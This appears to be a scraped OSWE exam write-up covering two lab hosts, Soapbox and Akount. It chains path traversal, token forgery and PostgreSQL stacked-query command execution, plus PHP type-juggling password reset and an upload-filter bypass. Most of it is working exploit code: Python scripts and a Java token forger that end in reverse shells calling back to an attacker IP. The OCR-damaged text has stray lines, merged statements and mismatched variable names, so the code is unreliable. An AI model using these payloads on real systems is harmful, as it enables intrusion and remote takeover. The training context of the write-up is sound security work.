You are on page 1of 8

OSWE Exam Writeup

Hosts : Soapbox and Akount


Host : SoapBox
Vulnerability 1 : Path traversal

Is is possible to download arbitrary files on the server, using a path


traversal vulnerability. Indeed, the "download as PDF” features performs a
non-recursive filtering of the string "../”, leading to a possible recursive
string "..././” that will result in a parent folder escalation.
By exploiting this vulnerability, an attacker is able to download the
config/uuid file which contains the encryption key of the token, and get an
administrator access.
Remediation: One should do a recursive cleaning of the parameter string, as
long as "../” pattern is there in thw URL.

Vulnerability 2 : SQL injection

PostGreSQL, as a fully featured programming language, allows much more


procedural control than SQL, including the ability to use loops and other
control structures. SQL statements and triggers can call functions created in
the PL/pgSQL language.
Since version 9.3, new functionality was implemented. This allows the database
superuser, and any user in the 'pg_execute_server_program’ group to run
arbitrary operating system commands.
In combination with a stacked query SQL injection found in the source code of
Soapbox, an attacker is able to run arbitrary commands on the system using the
following /admin/users/category?id= 1
Remediation: User inputs needs to be sanitized before SQL query is sent to the
SQL database to fetch the data.

Proof of Concept :

1. soapbox_exploit.py

#!/usr/bin/env pyhton

import requests,time,string,subprocess,base64,random,re,sys

attacker_ip = sys.argv[1] # Attacker IP

@UN5TABLE
target = 'http://TODO' # Target IP

username = ''.join(random.choice(string.ascii_lowercase) for c in


range(3))

# random username
mein_email = username+'@soapbx.local'

# Initialization
session = requests.Session()
session.get(target+'/')

# Create account
session.post(target+'/signup', data =
{'submit':'Submit','email':mein_email,'password':'P@55w0rd123','username':
username})

# Log in
session.post(target+'/login', data =
{'submit':'Submit','username':username,'password':'P@55w0rd123','rememberm
e':True})
myuser_token = session.cookies.get_dict()["rememberme"]

# Download encryption key


uuid = session.get(target+'/download?id=..././conf/uuid').text

# Transform user to admin token


process = subprocess.Popen(['java', 'Tokenizer', mein_token, mein_email,
'admin@soapbx.local', uuid],
stdout=subprocess.PIPE)
time.sleep(5) # Wait for subprocess
out, err = process.communicate()
if err:
print(err)
exit()
tokenadmin = out.decode("UTF-8")

# Log in as admin
session.get(target+'/login', cookies={'rememberme': tokenadmin})

# PostGreSQL RCE
b64payload = base64.b64encode(f'import
socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM
);s.connect(("{attacker_ip}",4444));os.dup
2(
s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/
bash")'.encode('utf-8'))
session.get(target+"/admin/users/category?id=1; COPY(SELECT
convert_from(decode('"+b64payload.decode('utf-
8')+"','base64'),'utf-8')) to '/tmp/shell.py';DROP TABLE IF EXISTS
cmd_exec;CREATE TABLE cmd_exec(cmd_output

@UN5TABLE
text);COPY cmd_exec FROM PROGRAM 'python3 /tmp/shell.py';")

2. Tokenizer.java

import java.security.MessageDigest;
import javax.crypto.SecretKey;
import javax.crypto.Cipher;
import java.lang.instrument.Instrumentation;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

class Tokenizer
{

public static String decryptToken(String user, String token, String uuid)


{

try {
SecretKey key = getKeyForUser(user, uuid);
Cipher cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
cipher.init(2, key);
byte[] enc = Base64.getUrlDecoder().decode(token.getBytes("UTF-8"));
byte[] plain = cipher.doFinal(enc);
return new String(plain, "UTF-8");
}
catch (Exception e) {
return "";
}
}

private static SecretKey getKeyForUser(String mail, String uuid) throws


Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
String keytext = uuid + mail;
byte[] keyArray = new byte[24];
System.arraycopy(md.digest(keytext.getBytes("UTF-8")), 0, keyArray, 0,
24);
return new SecretKeySpec(keyArray, "DESede");
}

public static String encryptToken(String user, String token, String uuid)


{
try {
SecretKey key = getKeyForUser(user, uuid);
Cipher cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
cipher.init(1, key);
byte[] enc = cipher.doFinal(token.getBytes("UTF-8"));
String value = Base64.getUrlEncoder().encodeToString(enc);

@UN5TABLE
return value;
}
catch (Exception e) {
e.printStackTrace();
return
}
}

public static void main(String[] args){


try {
String mein_token = args[0]; // Mein token
String mein_mail = args[1]; // Mein mail
String targetmail = args[2]; // Target mail
String uuid = args[3]; // UUID

String admin_token = decryptToken(mein_mail, mein_token.split("\\.")[1],


uuid).split("\\| ")[0] + "| 1";
System.out.print("admin."+encryptToken(targetmail, admin_token, uuid));
}
catch (Exception e) {
e.printStackTrace();
}

Methodology :

Below are the steps to perform Remote Code Execution.

1. Create an account on the site


2. Log in onto Soapbox and enable the "Remember me” feature
3. Extract the Remember me cookie
4. Download the config UUID file with the link /download?id=..././conf/uuidto
bypass the ../
filter
5. Decrypt the cookie with the UUID key
6. Change the ID of the decrypted cookie and encrypt the token
7. Change the cookie in the browser with the new one
8. Perform PostGreSQL Remote Code Execution using stacked queries injection in
the
/admin/users/category?id=1 URL

Host : Akount
Vulnerability 1 : Type Juggling

The source code of the application uses a loose comparison in the reset
password process.

@UN5TABLE
The lack of a specific type means that PHP operates on a "best-guess”
principle (called type juggling), where PHP converts the value of a variable
to the most appropriate type for the action being carried out.
For example, the following assertion is true, because 0123456 is equal to
0666:
if "0e123456” == "0e666"
In combination with the bruteforce of a magic hash, a anonymous attacker is
able to reset any account password, including administrator's password.
Remediation: Perform a strict comparison with the use of === instead of ==.
Furthermore, truncation of a hash is not recommended.

Vulnerability 2 : Arbitrary File Upload

Once authenticated as an administrator, it is possible to upload an arbitrary


file using the "Upload invoice” feature.
The source code perform an extension-based filter, using a blacklist.
This blacklist misses several extensions, for example .php3 .php4, .php6 and
One attacker can upload a malicious file (reverse PHP shell) using the
extens a .htaccess file to enable the PHP execution on the server.
Remediation: The application must check for the content-type of the file being
upload along with its extension.

Proof of Concept :

1. Exploit_file.py

#!/usr/bin/env python
import requests, re, time, sys

attacker_ip = sys.argv[1] # Mein IP target = "http://TODO" # The target


email = "admin@akount.tld" # email for admin
password = 'MeinP4ssword' # password for admin ts = int(time.time())

session = requests.Session()
session.get(target) def ResetLink():
session.post(target+'/forgot', data={'email': email}) def Test():

resp = session.get(f'{target}/reset/1/{ts}/0e123456') if "Reset your


password below" in resp.text:

return True

else:
return False

while True:

@UN5TABLE
ResetLink()

if Test():
session.post(f'{target}/reset/1/{ts}/0e123456', data=
{'password':password}) # Ander das Passwort

print('wow password changed')


break

# Login
session.post(target+'/login', data={'email':email, 'password':password})

# Upload htaccess
session.post(target+'/import', files={'file':('.htaccess', RewriteEngine
on
RewriteRule shell.php shell.php6)})

# Upload Shell
session.post(target+'/import', files={'file': ('shell.php6', f'<?php
$s=fsockopen("{attacker_ip}",4444);$p=proc_open("/bin/sh - i"
,array(0=>$s,1=>$s,2=>$s),$pipes); ?>')})

session.get(target+'/imports/shell.php');

METHODOLOGY

Below is the methodology to perform Remote Code Execution .

1. We ask for a password reset of the administrator


2. Perform a request to the link /reset/1/<timestamp>/0e123456to expect a
magic-hash type juggling on the reset token
3. If the link is rejected, return to 1.
4. If the link is valid, change the administrator password
5. Log in as administrator
6. Upload a reverse shell with PHP6 extension to bypass the filter
7. Upload a .htaccess file to make Apache run the script
8. Perform a request to the PHP reverse shell

Screenshots :

@UN5TABLE
@UN5TABLE
@UN5TABLE

You might also like